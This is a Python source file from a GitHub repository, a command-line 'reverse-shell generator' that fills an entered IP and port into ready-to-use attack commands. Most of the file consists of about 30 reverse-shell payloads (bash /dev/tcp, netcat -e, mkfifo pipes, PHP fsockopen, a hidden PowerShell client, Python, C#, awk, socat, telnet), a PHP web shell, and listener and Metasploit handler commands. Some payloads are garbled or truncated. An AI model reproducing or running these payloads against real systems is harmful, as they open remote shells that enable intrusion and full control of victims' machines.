-
Notifications
You must be signed in to change notification settings - Fork 2
/
reverse-shell-generator.py
410 lines (339 loc) · 17 KB
/
reverse-shell-generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
#!/usr/bin/env python3
import os
import platform
import socket
from colorama import Fore , Back , Style
# from turtle import heading
from pyfiglet import Figlet
# import tkinter as TK
import re
import psutil
def colored(r, g, b, text):
return "\033[38;2;{};{};{}m{} \033[38;2;255;255;255m".format(r, g, b, text)
heading = Figlet(font='big')
print(colored(0, 213, 255,heading.renderText("Reverse-shell\ngenerator\n")))
print("*******************\n")
print(colored(0,255,255,"@SUJAY_ADKESAR : https://sujayadkesar.github.io/portfolio"))
print(colored(0,255,255,"https://github.com/sujayadkesar/reverse-shell-generator"))
print("\n*******************\n")
def get_ip_addresses(all):
for interface, snics in psutil.net_if_addrs().items():
for snic in snics:
if snic.family == all:
yield(interface, snic.address)
def ip():
ipv4 = list(get_ip_addresses(socket.AF_INET))
for i in ipv4:
print(colored(255,255,0,"{:40s} {:10s} {:1s}".format(i[0],":",i[1])))
os.system('ifconfig eth0')
print("\n*******************")
# Getting the ip from the user
while True:
ip = str(input("\n\nEnter IP Address : "))
if re.match(r'^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$', ip):
break
else:
print("\033[91m\033[1mCheck the IP address !\x1b[0m")
continue
while True:
port = input("Enter Port Number : ")
if re.match(r'^([0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$', port):
break
else:
print("\033[91m\033[1mCheck the port Number !\x1b[0m")
continue
print("*******************")
#difining a function to display the usage guidelines
def guide():
subheading1 = Figlet(font="standard")
# doom big eftipiti cybermedium epic larry3d mini ogre puffy
print(colored(0,255,255,subheading1.renderText("\nListner")))
print("{:30s} {:30s}".format("1 nc", "7 rustcat +command history"))
print("{:30s} {:30s}".format("2 ncat", "8 Windows ConPty"))
print("{:30s} {:30s}".format("3 ncat(TLS)", "9 socat"))
print("{:30s} {:30s}".format("4 rlwrap +nc", "10 socat TTY"))
print("{:30s} {:30s}".format("5 rustcat", "11 powercat"))
print("{:30s} {:30s}".format("6 pwncat", "12 msfconsole\n\n"))
subheading2 = Figlet(font='standard')
print(colored(0,255,255,subheading2.renderText("Reverse-shell")))
print("{:30s} {:30s} {:30s}".format("1 Bash -i" , "11 nc -e " , "21 ncat -e "))
print("{:30s} {:30s} {:30s}".format("2 Bash 196" , "12 ncmkfifo " , "22 ncat.exe -e "))
print("{:30s} {:30s} {:30s}".format("3 Bash 5" , "13 nc.exe -e " , "23 awk"))
print("{:30s} {:30s} {:30s}".format("4 Bash udp" , "14 nc -c " , "24 rustcat "))
print("{:30s} {:30s} {:30s}".format("5 Bash readline" , "15 nc -c " , "25 socat TTY "))
print("{:30s} {:30s} {:30s}".format("6 C Windows" , "16 PHP exec" , "26 Haskell"))
print("{:30s} {:30s} {:30s}".format("7 C# TCP client" , "17 PHP shell_exec" , "27 Powershell "))
print("{:30s} {:30s} {:30s}".format("8 Node js" , "18 PHP system" , "28 Python #2"))
print("{:30s} {:30s} {:30s}".format("9 PHP Emoji" , "19 PHP popen" , "29 telnet"))
print("{:30s} {:30s} {:30s}".format("10 PHP cmd" , "20 PHP proc_open" , "30 Python Windows"))
print("\n\nrsg listning <number of the listner type> = to generate the listner code")
print("rsg reverse-shell <number of the reverse-shell type> = to generate the reverse-shell code")
print("exit = exit")
print("clear = clear the screen\n")
print("ifconfig = to get the ipv4 address of your system")
print("set lhost = to set or change the ip address")
print("set lport = to set or change the listing port number")
print("show = to print the lhost and lport")
print("rsg -h = list the reverse-shell and listners")
print(colored(255,255,0,"\nexample:-\n"))
print(colored(255,255,0,"{:30s} {:30s} {:30s}".format("rsg listner 4", "rsg reverse-shell 19", "rsg -h\n\n")))
guide()
#take the input command until the user quite(exit)
while True:
take = input("$")
if take == "rsg -h":
guide()
#response part for the listner request (12)
elif take == "rsg listner 1":
print(colored(255,255,0,"\n\nnc -lnvp "+port+"\n\n"))
elif take == "rsg listner 2":
print(colored(255,255,0,"\n\n ncat -lnvp "+port+"\n\n"))
elif take == "rsg listner 3":
print(colored(255,255,0,"\n\nncat --ssl -lnvp "+port+"\n\n"))
elif take == "rsg listner 4":
print(colored(255,255,0,"\n\nrlwrap -cAr nc -lvnp "+port+"\n\n"))
elif take == "rsg listner 5":
print(colored(255,255,0,"\n\nrcat -lp "+port+"\n\n"))
elif take == "rsg listner 6":
print(colored(255,255,0,"\n\npython3 -m pwncat -lp "+port+"\n\n"))
elif take == "rsg listner 7":
print(colored(255,255,0,"\n\nrcat -lHp "+port+"\n\n"))
elif take == "rsg listner 8":
print(colored(255,255,0,"\n\nstty raw -echo; (stty size; cat) | nc -lnvp "+port+"\n\n"))
elif take == "rsg listner 9":
print(colored(255,255,0,"\n\nsocat -d -d TCP-LISTEN:"+port+" STDOUT\n\n"))
elif take == "rsg listner 10":
print(colored(255,255,0,"\n\nsocat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:"+port+"\n\n"))
elif take == "rsg listner 11":
print(colored(255,255,0,"\n\npowercat -l -p "+port+"\n\n"))
elif take == "rsg listner 12":
print(colored(255,255,0,'\n\nmsfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost '+ip+'; set lport '+port+'; exploit"\n\n'))
# response part for the reverse-shell request (30)
elif take == "rsg reverse-shell 1":
print(colored(255,255,0,"\n\nsh -i >& /dev/tcp/"+ip+"/"+port+" 0>&1\n\n"))
elif take == "rsg reverse-shell 2":
print(colored(255,255,0,"\n\n0<&196;exec 196<>/dev/tcp/"+ip+"/"+port+"; sh <&196 >&196 2>&196\n\n"))
elif take == "rsg reverse-shell 3":
print(colored(255,255,0,"\n\nsh -i 5<> /dev/tcp/"+ip+"/"+port+" 0<&5 1>&5 2>&5\n\n"))
elif take == "rsg reverse-shell 4":
print(colored(255,255,0,"\n\nsh -i >& /dev/udp/"+ip+"/"+port+" 0>&1\n\n"))
elif take == "rsg reverse-shell 5":
print(colored(255,255,0,"\n\nexec 5<>/dev/tcp/"+ip+"/"+port+";cat <&5 | while read line; do $line 2>&5 >&5; done\n\n"))
elif take == "rsg reverse-shell 6":
print('\n\n#include <winsock2.h>\n#include <stdio.h>\n#pragma comment(lib,"ws2_32")\n\nWSADATA wsaData;\nSOCKET Winsock;\nstruct sockaddr_in hax;\nchar ip_addr[16] = " \b'+ip+'";\nchar port[6] = " \b'+port+'";\n\nSTARTUPINFO ini_processo;\n\nPROCESS_INFORMATION processo_info;\n\n')
elif take == "rsg reverse-shell 7":
print(colored(255,255,0,"""\n\nusing System;\n
using System.Text;\n
using System.IO;\n
using System.Diagnostics;\n
using System.ComponentModel;\n
using System.Linq;\n
using System.Net;\n
using System.Net.Sockets;\n\n\n
namespace ConnectBack\n
{\n
public class Program\n
{\n
static StreamWriter streamWriter;\n\n
public static void Main(string[] args)\n
{\n
using(TcpClient client = new TcpClient(" \b"""+ip+""" ", """+port+"""))\n
{\n
using(Stream stream = client.GetStream())\n
{\n
using(StreamReader rdr = new StreamReader(stream))\n
{\nstreamWriter = new StreamWriter(stream);\n\n
StringBuilder strInput = new StringBuilder();\n\n
Process p = new Process();\n
p.StartInfo.FileName = "sh";\n
p.StartInfo.CreateNoWindow = true;\n
p.StartInfo.UseShellExecute = false;\n
p.StartInfo.RedirectStandardOutput = true;\n
p.StartInfo.RedirectStandardInput = true;\n
p.StartInfo.RedirectStandardError = true;\n
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n
p.Start();\n
p.BeginOutputReadLine();\n\n
while(true)\n
{\n
strInput.Append(rdr.ReadLine());\n
//strInput.Append("\n");\n
p.StandardInput.WriteLine(strInput);\n
strInput.Remove(0, strInput.Length);\n
}\n
}\n
}\n
}\n
}\n\n
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n
{\n
StringBuilder strOutput = new StringBuilder();\n\n
if (!String.IsNullOrEmpty(outLine.Data))\n
{\n
try\n
{\n
strOutput.Append(outLine.Data);\n
streamWriter.WriteLine(strOutput);\n
streamWriter.Flush();\n
}\n
catch (Exception err) { }\n
}\n
}\n\n\n
}
} \n\n"""))
elif take == "rsg reverse-shell 8":
print(colored(255,255,0,"\n\nrequire('child_process').exec('nc -e sh "+ip+" "+port+"')\n\n"))
elif take == "rsg reverse-shell 9":
print(colored(255,255,0,"""\n\nphp -r '$ð="1";$ð="2";$ð
="3";$ð="4";$ð="5";$ð="6";$ð="7";$ð="8";$ð="9";$ð="0";$ð¤¢=" ";$ð¤="<";$ð¤ =">";$ð±="-";$ðµ="&";$ð¤©="i";$ð¤=".";$ð¤¨="/";$ð¥°="a";$ð="b";$ð¶="i";$ð="h";$ð="c";$ð¤£="d";$ð="e";$ð="f";$ð="k";$ð="n";$ð="o";$ð="p";$ð¤="s";$ð="x";$ð = $ð. $ð¤. $ð. $ð. $ð. $ð. $ð. $ð. $ð;$ð = " \b"""+ip+""" ";$ð» = """+port+""";$ð = "sh". $ð¤¢. $ð±. $ð¤©. $ð¤¢. $ð¤. $ðµ. $ð
. $ð¤¢. $ð¤ . $ðµ. $ð
. $ð¤¢. $ð. $ð¤ . $ðµ. $ð
;$𤣠= $ð($ð,$ð»);$ð½ = $ð. $ð. $ð. $ð;$ð½($ð);' \n\n"""))
elif take == "rsg reverse-shell 10":
print(colored(255,255,0,"""\n\n<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html> \n\n"""))
elif take == "rsg reverse-shell 11":
print(colored(255,255,0,"""\n\nnc -e sh """+ip+""" """+port+"""\n\n"""))
elif take == "rsg reverse-shell 12":
print(colored(255,255,0,"\n\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc "+ip+" "+port+" >/tmp/f\n\n"))
elif take == "rsg reverse-shell 13":
print(colored(255,255,0,"\n\nnc.exe -e sh "+ip+" "+port+"\n\n"))
elif take == "rsg reverse-shell 14":
print(colored(255,255,0,"\n\nnc -c sh "+ip+" "+port+"\n\n"))
elif take == "rsg reverse-shell 15":
print(colored(255,255,0,"\n\nnc -c sh "+ip+" "+port+"\n\n"))
elif take == "rsg reverse-shell 16":
print(colored(255,255,0,"""\n\nphp -r '$sock=fsockopen(" \b"""+ip+""" \b","""+port+""");exec("sh <&3 >&3 2>&3");'\n\n"""))
elif take == "rsg reverse-shell 17":
print(colored(255,255,0,"""\n\nphp -r '$sock=fsockopen(" \b"""+ip+""" \b","""+port+""");shell_exec("sh <&3 >&3 2>&3");'\n\n"""))
elif take == "rsg reverse-shell 18":
print(colored(255,255,0,"""\n\nphp -r '$sock=fsockopen(" \b"""+ip+"""\b","""+port+""");system("sh <&3 >&3 2>&3");'\n\n"""))
elif take == "rsg reverse-shell 19":
print(colored(255,255,0,"""\n\nphp -r '$sock=fsockopen(" \b"""+ip+""" \b","""+port+""");popen("sh <&3 >&3 2>&3", "r");'\n\n"""))
elif take == "rsg reverse-shell 20":
print(colored(255,255,0,"""\n\nphp -r '$sock=fsockopen(" \b"""+ip+""" \b","""+port+""");$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'\n\n"""))
elif take == "rsg reverse-shell 21":
print(colored(255,255,0,"\n\nncat "+ip+" "+port+" -e sh\n\n"))
elif take == "rsg reverse-shell 22":
print(colored(255,255,0,"\n\nncat.exe "+ip+" "+port+" -e sh\n\n"))
elif take == "rsg reverse-shell 23":
print(colored(255,255,0,"""\n\nawk 'BEGIN {s = "/inet/tcp/0/"""+ip+"""/"""+port+""" \b";\n
while(42)\n
{\n
do\n
{ printf "shell>" |& s; s |& getline c;\n
if(c)\n
{ \n
while ((c |& getline) > 0) print $0 |& s; close(c);\n
}\n
}\n
while(c != "exit") close(s);\n
}}' /dev/null\n\n"""))
elif take == "rsg reverse-shell 24":
print(colored(255,255,0,"\n\nrcat "+ip+" "+port+" -r sh\n\n"))
elif take == "rsg reverse-shell 25":
print(colored(255,255,0,"\n\nsocat TCP:"+ip+":"+port+" EXEC:'sh',pty,stderr,setsid,sigint,sane\n\n"))
elif take == "rsg reverse-shell 26":
print(colored(255,255,0,"""\n\nmodule Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc """+ip+"""\t"""+port+""" >/tmp/f"\n\n"""))
elif take == "rsg reverse-shell 27":
print(colored(255,255,0,"""\n\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object\n
System.Net.Sockets.TCPClient(" \b"""+ip+""" \b","""+port+""");\n
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\n
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;\n
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);\n
$sendback = (iex $data 2>&1 | Out-String );\n
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";\n
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);\n
$stream.Write($sendbyte,0,$sendbyte.Length);\n
$stream.Flush()};\n
$client.Close()\n\n"""))
elif take == "rsg reverse-shell 28":
print(colored(255,255,0,"""\n\npython3 -c 'import os,pty,socket;s=socket.socket();s.connect((" \b"""+ip+""" \b","""+port+"""));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'\n\n"""))
elif take == "rsg reverse-shell 29":
print(colored(255,255,0,"\n\nTF=$(mktemp -u);mkfifo $TF && telnet "+ip+" "+port+" 0<$TF | sh 1>$TF\n\n"))
elif take == "rsg reverse-shell 30":
print(colored(255,255,0,"""\n\nimport os,socket,subprocess,threading;\n
def s2p(s, p):\n
while True:\n
data = s.recv(1024)\n
if len(data) > 0:\n
p.stdin.write(data)\n
p.stdin.flush()\n\n
def p2s(s, p):\n
while True:\n
s.send(p.stdout.read(1))\n\n
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n
s.connect((" \b"""+ip+""" \b","""+port+"""))\n
p=subprocess.Popen(["sh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\n
s2p_thread = threading.Thread(target=s2p, args=[s, p])\n
s2p_thread.daemon = True\n
s2p_thread.start()\n\n
p2s_thread = threading.Thread(target=p2s, args=[s, p])\n
p2s_thread.daemon = True\n
p2s_thread.start()\n\n
try:\n
p.wait()\n
except KeyboardInterrupt:\n
s.close()\n\n"""))
elif take == "show":
print("IP-Address :"+ip)
print("Listning port number :"+port)
elif take == "set lhost":
while True:
newip = str(input("\n\nEnter IP Address : "))
if re.match(r'^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$', ip):
break
else:
print("\033[91m\033[1mCheck the IP address !\x1b[0m")
continue
ip = ip.replace(ip , newip)
print("lhost :"+ip)
print("lport :"+port)
elif take == "set lport":
while True:
newport = input("Enter Port Number : ")
if re.match(r'^([0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$', port):
break
else:
print("\033[91m\033[1mCheck the port Number !\x1b[0m")
continue
port = port.replace(port , newport)
print("lport :"+port)
print("lhost :"+ip)
elif take == "clear":
a = platform.system()
if a == "Windows":
os.system('cls')
elif a == "Linux":
os.system('clear')
elif take == "rsg -h":
guide()
elif take == "ifconfig":
os.system('ifconfig')
elif take == 'pwd':
os.system('pwd')
elif take == 'ls':
if platform.system() == "Windows":
print(os.system('cmd /k "dir"'))
else:
os.system('ls')
elif take == 'cd ..':
os.system('cd ..')
elif take == "exit":
break
else:
print(colored(255,0,0,"Incorrect command not found!"))
print(colored(0,255,255,"enter rsg -h to see the documentation"))